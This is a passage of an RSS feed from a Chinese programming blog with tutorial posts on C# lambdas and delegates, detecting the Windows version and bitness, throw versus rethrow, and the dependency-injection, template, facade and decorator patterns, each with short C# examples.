&lt;p&gt;如果听起来很复杂，确实本来很复杂，但这是必需的。（虽然不是造火箭，但是比你认为的要更多的代码），然而步骤三不是必需的，编译器会为你做他，但是步骤1和2却是必不可少的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;幸运的是C#2.0出现了泛型，现在我们也可以写泛型类，方法，更重要的是，泛型委托，然而，直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托（当然有一些不同的重载），会覆盖99%的使用情况：&lt;/p&gt;
&lt;p&gt;1.Action 没有任何输入参数，也没有输出参数。
2.Action&amp;lt;t1,…t16&amp;gt; 需要1-16个参数，没有输出参数。
3.Func&amp;lt;t1….t16,tout&amp;gt;需要0-16个参数，一个输出参数&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Action和其对应的泛型版本（仅仅是一个动作，执行一些事情）返回void的时候。Func则可以返回最后一个参数指定的类型，通过这两个委托类型，我们事实上，大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法，也就是一个匿名方法，然后这个语法一直未能流行起来，一个相当简化的匿名方法的版本类似这样：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Func&amp;lt;double, double&amp;gt;  square = delegate (double x) {
return x * x;
}&lt;/pre&gt;
&lt;p&gt;为了提高这种语法，欢迎来到Lambda表达式的国度。首先，这个Lambda名字怎么来的？事实上。来自于数学上的λ演算，更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算，所以我们有0-N个输入参数和一个返回值，而在编程中，也可以没有返回值&lt;/p&gt;
&lt;h1 id=&#34;我们看一下lambda表达式的一些例子&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;我们看一下Lambda表达式的一些例子&lt;/span&gt;&lt;/h1&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//编译器可以识别，然后就可以通过dummyLambda();来调用了
var dummyLambda = () =&amp;gt; { Console.WriteLine(&#34;Hallo World from a Lambda expression!&#34;); };

//可以通过类似 double y = square(25);来使用
Func&amp;lt;double, double&amp;gt; square = x =&amp;gt; x * x;

//可以通过类似double z = product(9, 5);来使用
Func&amp;lt;double, double,double&amp;gt; product = (x, y) =&amp;gt; x * y;

//可以通过类似printProduct(9, 5);来使用
Action&amp;lt;double, double&amp;gt; printProduct = (x, y) =&amp;gt; { Console.Writeline(x * y); };

//可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 });
Func&amp;lt;double[], double[], double&amp;gt; dotProduct = (x, y) =&amp;gt; {
var dim = Math.Min(x.Length, y.Length);
var sum = 0.0;
for(var i = 0; i != dim; i++)
sum += x[i] + y[i];
return sum;
};

//可以通过类似 var result = matrixVectorProductAsync(...);使用
Func&amp;lt;double[,], double[], double[]=&#34;&#34;&amp;gt; matrixVectorProductAsync = async (x, y) =&amp;gt; {
var sum = 0.0;
/* do some stuff ... */
return sum;
};&lt;/pre&gt;
&lt;p&gt;从上面的代码段里我们可以学到一些东西&lt;/p&gt;</description>
    </item>
    <item>
      <title>3分钟理解Lambda表达式</title>
      <link>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link>
      <pubDate>Sat, 08 Dec 2012 19:26:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;1.什么是Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式是一个匿名方法，通常在LINQ中被用来创建委托&lt;/p&gt;
&lt;p&gt;简单来说。它是一个没有声明，没有访问修饰符，没有返回值。甚至没有名字的方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.为什么我们需要使用Lambda表达式？或者说为什么我们要写一个没有名字的函数？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了方便，这种快捷方式允许你在调用的地方直接编写代码，尤其是你想调用的代码只会在这个地方使用一次。并且方法体本身很短。节省了单独写方法中写声明等等的麻烦。。&lt;/p&gt;
&lt;p&gt;好处&lt;/p&gt;
&lt;p&gt;1.代码量减少。不必写方法的名称。返回值和访问修饰符&lt;/p&gt;
&lt;p&gt;2.当阅读代码的时候。直接就可以看到被调用函数的代码，不用去别的地方。&lt;/p&gt;
&lt;p&gt;Lambda表示应该短些。太复杂了。可读性就下降了&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果编写Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda基本的定义是：参数=&amp;gt;执行代码&lt;/p&gt;
&lt;p&gt;举个例子&lt;/p&gt;
&lt;pre lang=&#34;cs&#34;&gt;n = &gt; n % 2 == 1&lt;/pre&gt;
&lt;p&gt;n是输入参数
n % 2 == 1 是函数体&lt;/p&gt;
&lt;p&gt;你可以读作：给这个匿名方法传入一个参数n，如果n是奇数就返回true&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用该Lambda的例子&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;List&amp;lt;int&amp;gt; numbers = new List&amp;lt;int&amp;gt;{11,37,52};
List&amp;lt;int&amp;gt; oddNumbers = numbers.where(n =&amp;gt; n % 2 == 1).ToList();
//现在oddNumbers 里面就是11和37了&lt;/pre&gt;
&lt;p&gt;ok.基本的Lambda表达式就是这样了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>获取操作系统版本信息</title>
      <link>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</link>
      <pubDate>Fri, 23 Nov 2012 13:24:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29601_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab5c1bb6b5cf05669ff110a1a4fe35b5a28a68a5.jpg&#34; title=&#34;wnidows version&#34;&gt;&lt;/a&gt;
坊间流传的代码都有些问题，比如不能正常获取win7以上的版本信息，不能获取诸如专业版，旗舰版等的信息，不能正常获取操作系统位的信息。&lt;/p&gt;
&lt;p&gt;使用代码，写了一个简单的库来实现效果。用法大概如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;StringBuilder sb = new StringBuilder(String.Empty);
sb.AppendLine(&#34;Operation System Information&#34;);
sb.AppendLine(&#34;----------------------------&#34;);
sb.AppendLine(String.Format(&#34;Name = {0}&#34;, OSVersionInfo.Name));
sb.AppendLine(String.Format(&#34;Edition = {0}&#34;, OSVersionInfo.Edition));
if (OSVersionInfo.ServicePack!=string.Empty)
sb.AppendLine(String.Format(&#34;Service Pack = {0}&#34;, OSVersionInfo.ServicePack));
else
sb.AppendLine(&#34;Service Pack = None&#34;);
sb.AppendLine(String.Format(&#34;Version = {0}&#34;, OSVersionInfo.VersionString));
sb.AppendLine(String.Format(&#34;ProcessorBits = {0}&#34;, OSVersionInfo.ProcessorBits));
sb.AppendLine(String.Format(&#34;OSBits = {0}&#34;, OSVersionInfo.OSBits));
sb.AppendLine(String.Format(&#34;ProgramBits = {0}&#34;, OSVersionInfo.ProgramBits));

textBox1.Text = sb.ToString();&lt;/pre&gt;
&lt;p&gt;对比一下坊间的几种不足：
总的来说。最大的问题就是不能正确检测你的操作系统到底是32位还是64位。几种方法大致如下：
1. 使用IntPtr指针的大小
最关键的一句代码是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;return IntPtr.Size * 8;&lt;/pre&gt;
&lt;p&gt;但是事实上，这个返回的不是操作系统的位数，返回的是运行的程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;2. 使用PROCESSOR_ARCHITECTURE 环境变量&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string pa = Environment.GetEnvironmentVariable(&#34;PROCESSOR_ARCHITECTURE&#34;);
return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0,
&#34;x86&#34;, 0, 3, true) == 0) ? 32 : 64);&lt;/pre&gt;
&lt;p&gt;这就是纯粹的误导了，因为和1的情况一样。不能返回处理器的位数而是返回了运行程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;3. 使用PInvoke 和 GetSystemInfo
注意：为了保持文章不要太长。。我没有包括PInvoke API的声明，（译者注：C#的互操作性嘛），但你可能在我提供的源代码里找到。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProcessorArchitecture pbits = ProcessorArchitecture.Unknown;
try
{
SYSTEM_INFO l_System_Info = new SYSTEM_INFO();
GetSystemInfo(ref l_System_Info);
switch (l_System_Info.uProcessorInfo.wProcessorArchitecture)
{
case 9: // PROCESSOR_ARCHITECTURE_AMD64
pbits = ProcessorArchitecture.Bit64;
break;
case 6: // PROCESSOR_ARCHITECTURE_IA64
pbits = ProcessorArchitecture.Itanium64;
break;
case 0: // PROCESSOR_ARCHITECTURE_INTEL
pbits = ProcessorArchitecture.Bit32;
break;
default: // PROCESSOR_ARCHITECTURE_UNKNOWN
pbits = ProcessorArchitecture.Unknown;
break;
}
}
catch
{
Ignore
}
return pbits;&lt;/pre&gt;
&lt;p&gt;老问题，还是会返回运行程序的位数，而不是操作系统/处理器的位数。
4. 使用PInvoke和GetNativeSystemInfo
我看到过有人说上面的都不可信。可以使用GetNativeSystemInfo代替，代码和上面一样，只是把GetSystemInfo换成GetNativeSystemInfo就好。&lt;/p&gt;</description>
    </item>
    <item>
      <title>依赖倒置原则和依赖注入模式</title>
      <link>http://blog.leaver.me/2012/11/21/%E4%BE%9D%E8%B5%96%E5%80%92%E7%BD%AE%E5%8E%9F%E5%88%99%E5%92%8C%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Wed, 21 Nov 2012 13:46:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/21/%E4%BE%9D%E8%B5%96%E5%80%92%E7%BD%AE%E5%8E%9F%E5%88%99%E5%92%8C%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;昨天读完了程杰的《大话设计模式》。。收获颇丰。深刻感到了设计模式的伟大。。对面向接口的编程也理解了不少。刚好看到codeproject上一篇将依赖倒置的。讲到了依赖注入的方式。仔细读了一下。翻译一遍加深认识。&lt;/p&gt;
&lt;p&gt;高耦合的代码随着项目复杂性的不断增加，最终会变成一碗碗的意大利面条啦。。二者通常是软件设计上的问题，如果一个类对另一个类的实现了解太多。当该类改变的时候会引起更多的改变。这违反了依赖倒置原则&lt;/p&gt;
&lt;p&gt;而松耦合的代码设计优良。随着时间流逝，代码复杂两增大，松耦合的好处会变得更加清晰，依赖注入模式是实现松耦合的一个好的办法，本文介绍在没有依赖注入容器的情况下实现依赖注入&lt;/p&gt;
&lt;p&gt;GoF说了，依赖倒置的原则：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;高层模块不应依赖于低层模块，他们都应该依赖于抽象
抽象不依赖细节，细节依赖抽象&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;刚开始写依赖倒置比较难，随着经验增长会有所改善，通过使高层模块依赖于抽象，依赖倒置成功解耦，依赖注入模式是该原则的一个实现。&lt;/p&gt;
&lt;p&gt;通常我们写出如下的代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Email
{
    public void SendEmail()
    {
        // code
    }
}

public class Notification
{
    private Email _email;
    public Notification()
    {
        _email = new Email();
    }

    public void PromotionalNotification()
    {
        _email.SendEmail();
    }
}
&lt;/pre&gt; 
&lt;p&gt;Notification类依赖Email类，这违反了DIP，而且当我们要发送短信/保存到数据库的时候，我们还要改变Notification类。
我们使用抽象类/接口解耦&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public interface IMessageService
{
    void SendMessage();
}
public class Email : IMessageService
{
    public void SendMessage()
    {
        // code
    }
}
public class Notification
{
    private IMessageService _iMessageService;

    public Notification()
    {
        _iMessageService = new Email();
    }
    public void PromotionalNotification()
    {
        _iMessageService.SendMessage();
    }
}
&lt;/pre&gt; 
&lt;p&gt;IMessageService 是一个接口，而Notification 类只要调用接口的方法/属性就可以了
同时，我们把Email对象的构造移到Notification 类外面去。&lt;/p&gt;
&lt;p&gt;依赖注入模式可以实现。通常有三种方式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造器注入&lt;/li&gt;
&lt;li&gt;属性注入&lt;/li&gt;
&lt;li&gt;方法注入&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;构造器注入&lt;/strong&gt;
最普遍的方式，当一个类需要另一个类的依赖的时候，我们通过构造函数来提供，现在我们这样写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Notification
{
    private IMessageService _iMessageService;

    public Notification(IMessageService _messageService)
    {
        this._iMessageService = _messageService;
    }
    public void PromotionalNotification()
    {
        _iMessageService.SendMessage();
    }
}&lt;/pre&gt; 
&lt;p&gt;有几个好处：1.构造函数实现很简单，Notification类需要知道的很少。想要创建Notification实例的时候看构造函数就可以知道需要什么信息了。因此实现了松耦合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;属性注入/setter注入比较不常见，当依赖可有可无的时候很有用。我们暴露一个可写的属性，允许客户提供不同的依赖实现，比如这样。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public class Notification
{
    public IMessageService MessageService
    {
        get;
        set;
    }
    public void PromotionalNotification()
    {

        if (MessageService == null)
        {
            // some error message
        }
        else
        {
            MessageService.SendMessage();

        }
    }
}&lt;/pre&gt; 
&lt;p&gt;没有了构造函数。而用属性来替换，在PromotionalNotifications 方法里我们需要检查MessageService的值或者提供相应的服务。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的throw</title>
      <link>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</link>
      <pubDate>Sun, 18 Nov 2012 12:33:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/18/c%23%E4%B8%AD%E7%9A%84throw/</guid>
      <description>&lt;p&gt;Throw会抛出/传递异常,通过在catch块里使用throw语句.可以改变产生的异常,比如我们可以抛出一个新的异常,throw语句有各种各样的,并且很有必要.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例子&lt;/strong&gt;
我们首先看一下三个方法,分别叫做A,B,C，他们使用不同的throw语句。方法A使用了无参的throw语句。这可以被看作是rethrow(继续抛出)—他会抛出已经出现的同样的异常&lt;/p&gt;
&lt;p&gt;继续，方法B throw一个命名的异常变量。这就不是一个完全的rethrow了—因为他虽然抛出了同样的异常。但是改变了StackTrace（堆栈轨迹），如果有必要的话，我们可以收集一些异常信息，而方法C则创建了一个新的异常。
提示:你可以通过这种方法实现自定义的的错误处理
使用throw语句的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
class Program
{
    static void Main()
    {
	try
	{
	    A();
	    B();
	    C(null);
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex);
	}
    }

    static void A()
    {
	// Rethrow 语法.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch
	{
	    throw;
	}
    }

    static void B()
    {
	// 过滤异常类型.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch (DivideByZeroException ex)
	{
	    throw ex;
	}
    }

    static void C(string value)
    {
	// 创建新的异常.
	if (value == null)
	{
	    throw new ArgumentNullException(&#34;value&#34;);
	}
    }
}&lt;/pre&gt;
&lt;p&gt;程序可能的输出结果&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.DivideByZeroException: Attempted to divide by zero.
System.DivideByZeroException: Attempted to divide by zero.
System.ArgumentNullException: Value cannot be null.
Parameter name: value&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Rethrow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着我们看更多的关于rethrows的细节。Rethrow必须是一个无参的throw语句。如果使用throw ex，那么TargetSie(TargetSite 从堆栈跟踪中获取抛出该异常的方法。如果堆栈跟踪为空引用，TargetSite 也返回空引用。-译者注)和StackTrace都被改变了。&lt;/p&gt;
&lt;p&gt;在下面的程序里，X()方法使用了rethrow语句。Y()使用了throw ex语句。我们可以看看当rethrow语句使用的使用，引发异常的方法，也就是异常的TargetSite是在StringToNumber&amp;mdash;一个int.Parse内部的方法。&lt;/p&gt;
&lt;p&gt;但是：当throw ex用的时候。就像在Y()里面，这个异常的TargetSite被修改到了当前的Y()方法里。
测试rethrow的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;

class Program
{
    static void Main()
    {
	try
	{
	    X();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}

	try
	{
	    Y();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}
    }

    static void X()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception)
	{
	    throw; // [Rethrow 构造]
	}
    }

    static void Y()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception ex)
	{
	    throw ex; // [Throw 捕获的ex变量]
	}
    }
}&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现模板模式</title>
      <link>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Thu, 25 Oct 2012 22:04:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文实现模板模式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
有时候我们需要做很多任务，而做这些任务的算法可能不同，这样可以设计成策略模式，这样。执行该任务的基本的一些代码就是一样的。但程序可可以动态的切换来执行任务的不同部分了。&lt;/p&gt;
&lt;p&gt;现在，真实的情况是有些算法，从实现层面山看，有可能有一些步骤是不一样的，这种情况下。我们可以使用继承来完成。&lt;/p&gt;
&lt;p&gt;当有个算法，而这个算法的一部分却多样的时候。使用模板模式就很好。GoF定义模板模式为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. Template Method lets subclasses redefine certain steps of an algorithm without changing the algorithm&amp;rsquo;s structure.&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。模板模式使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28596_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/013b89f26820a073c2044e0aa42a4d54a089e0b8.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
在上面的类图中：
AbstractClass：包含两种方法。第一种就是算法的每一步。另一种就是模板方法。模板方法就是那些可以被用在所有独立方法中。并且提供了算法执行的一个骨架
ConcreteClass：这个类重写了抽象类中每一步的方法，包含对这些步骤的个性化实现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
看一个简单的例子。假想我们有一个类用来读取数据。并且能够为信息管理系统到处数据。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;abstract class DataExporter
{
    // 这个方法都是一致的
    public void ReadData()
    {
        Console.WriteLine(&#34;Reading the data from SqlServer&#34;);
    }

    // 当报表格式顶的时候这个也是定的。
    public void FormatData()
    {
        Console.WriteLine(&#34;Formating the data as per requriements.&#34;);
    }

    // 目标文件类型的不同导致该方法不同
    public abstract void ExportData();        

    // 这是客户端可能使用的模板方法
    public void ExportFormatedData()
    {
        this.ReadData();
        this.FormatData();
        this.ExportData();
    }
}&lt;/pre&gt; 
&lt;p&gt;ReadData和FormatData 的实现不会变。唯一可变的部分就是ExportData方法。该方法对于不同的导出类型不同。如果我们要导出excel文件。我们要实现一个ConcreteClass的实现。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class ExcelExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to an Excel file.&#34;);
    }
}&lt;/pre&gt; 
&lt;p&gt;同样如果要导出PDF文件。重写这部分即可&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class PDFExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to a PDF file.&#34;);
    }
}
&lt;/pre&gt; 
&lt;p&gt;好处就是客户端可以使用DataExporter类，而具体的实现是在派生类中的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;static void Main(string[] args)
{
    DataExporter exporter = null;

    //导出 Excel文件
    exporter = new ExcelExporter();
    exporter.ExportFormatedData();

    Console.WriteLine();

    // 导出 PDF 文件
    exporter = new PDFExporter();
    exporter.ExportFormatedData();
}
&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28597_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1bf614457e0728646a9997af084aa990ef0ea3cb.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
运行时。对算法的调用将会执行真正请求的派生类的方法。
看一下我们的类图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28598_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1653c7412c7218518495704e23ebaf2ccdd66712.jpg&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现外观设计模式</title>
      <link>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Tue, 23 Oct 2012 18:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文介绍外观模式,并给出简单的实现示例&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;写软件的时候,有时候需要处理一系列的对象来完成一个确定的任务.比如,我们给一个万能遥控器写代码,我们需要关掉所有的设备,那么,我们有这样几种选择.第一个就是手动选择每一个设备,然后一个接一个的关闭,这好傻.那我们为什么不再遥控器上放一个按钮,我们按一下就关掉了.按钮的命令会与设备控制器通信然后关掉他们.&lt;/p&gt;
&lt;p&gt;如果我们又想在晚上12的时候自动关闭设备,那么我们就会有一个基于事件的计时器,与设备通信,然后关闭设备,问题是在两种情况下我们都需要与这些对象通信的函数.&lt;/p&gt;
&lt;p&gt;有很多方法解决这个问题,为什么不能有一个对象,该对象的责任就是关闭设备,当我要关闭设备的时候,我调用该对象就行了.这也是外观模式的理念Gof大神定义外观模式
&amp;ldquo;Provide a unified interface to a set of interfaces in a subsystem. Façade defines a higher-level interface that makes the subsystem easier to use.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;为子系统中的一组接口提供一个一致的界面，外观模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。&lt;/p&gt;
&lt;p&gt;看看模式图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28434_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4699477e818474c6be3dfc63a211c68e6a64c67c.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意外观对象仅仅是提供了对函数一起操作,.不能替换子系统的接口.子系统的类仍然可以被系统的其他部分访问.外观为子系统提供了一致的界面.&lt;/p&gt;
&lt;p&gt;使用代码
为了模拟外观模式,我们模拟一个小例子.试着实现一个简单的外观对象,该外观对象操作一些WP手机的控制器对象,我们先定义问题&lt;/p&gt;
&lt;p&gt;每天早上我跑步的时候,我都得对我的手机做出以下的事情..
1. 关闭wifi
2. 切换到移动网络
3. 打开GPS
4. 打开音乐
5. 开始跑步追踪器&lt;/p&gt;
&lt;p&gt;跑完以后.,我又蛋疼的做出以下几件事
1. 在twitter和facebook上分享我的跑步数据
2. 关闭跑步追踪器
3. 关闭音乐
4. 关闭GPS
5. 关闭移动数据
6. 打开wifi&lt;/p&gt;
&lt;p&gt;目前我都是手工做的.,我们来实现这些假想的控制器类吧.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class GPSController
{
    bool isSwitchedOn = false;

    public bool IsSwitchedOn
    {
        get
        {
            return isSwitchedOn;
        }
        set
        {
            isSwitchedOn = value;
            DisplayStatus();
        }
    }

    private void DisplayStatus()
    {
        string status = (isSwitchedOn == true) ? &#34;ON&#34; : &#34;OFF&#34;;
        Console.WriteLine(&#34;GPS Switched {0}&#34;, status);
    }
}&lt;/pre&gt;
&lt;p&gt;其他的像MobileDataController, MusicController, WifiController 代码都是基本的一样的.&lt;/p&gt;
&lt;p&gt;然后模拟一下跑步追踪器这个app&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class SportsTrackerApp
{
    public void Start()
    {
        Console.WriteLine(&#34;Sports Tracker App STARTED&#34;);
    }

    public void Stop()
    {
        Console.WriteLine(&#34;Sports Tracker App STOPPED&#34;);
    }

    public void Share()
    {
        Console.WriteLine(&#34;Sports Tracker: Stats shared on twitter and facebook.&#34;);
    }
}&lt;/pre&gt;
&lt;p&gt;下面模拟一下我的手工过程&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现装饰器模式</title>
      <link>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 22 Oct 2012 11:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
本文讨论装饰器模式,这个模式是因为很多情况下需要动态的给对象添加功能.比如我们创建了一个Stream类.后来需要对这个数据流类动态的添加一个加密功能.有人可能说把加密方法写到流类里面啊.然后使用一个bool变量来控制开关就行了.但是这样.这个加密方法只能写一种..如果用派生类来实现.那么..对于不同的加密方法.,都要创建一个子类,举个例子.比如有时候是一些函数的组合.我们最终的派生类的数目基本上就和排列组合的数目一样了.&lt;/p&gt;
&lt;p&gt;我们使用装饰器模式来解决这个问题.GoF描述为
&amp;ldquo;Attach additional responsibilities to an object dynamically. Decorators provide a flexible alternative to subclassing for extending functionality.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;首先看一下图.理解一下这个模式中每一个类的作用&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28377_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7858234df16590f30fcdf85a0a8791d33d076e2d.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
•	Component:定义了可以动态添加功能的具体类ConcreteComponents的接口.
•	ConcreteComponent: 可以动态添加功能的具体类
•	Decorator: 定义了动态添加到ConcreteComponent类中的功能的接口
•	ConcreteDecorator: 可以添加到 ConcreteComponent.中的具体功能类.&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;我们开一个面包店的例子.面包店卖蛋糕和甜点.客户可以买蛋糕和甜点,同时添加一些额外的东西.额外的东西包括奶油(Cream),樱桃(Cherry),香料(Scent)和会员(Name Card)&lt;/p&gt;
&lt;p&gt;如果我们用派生类来实现..那么我们会有如下的类
•	CakeOnly
•	CakeWithCreamAndCherry
•	CakeWithCreamAndCherryAndScent
•	CakeWithCreamAndCherryAndScentAndNameCard
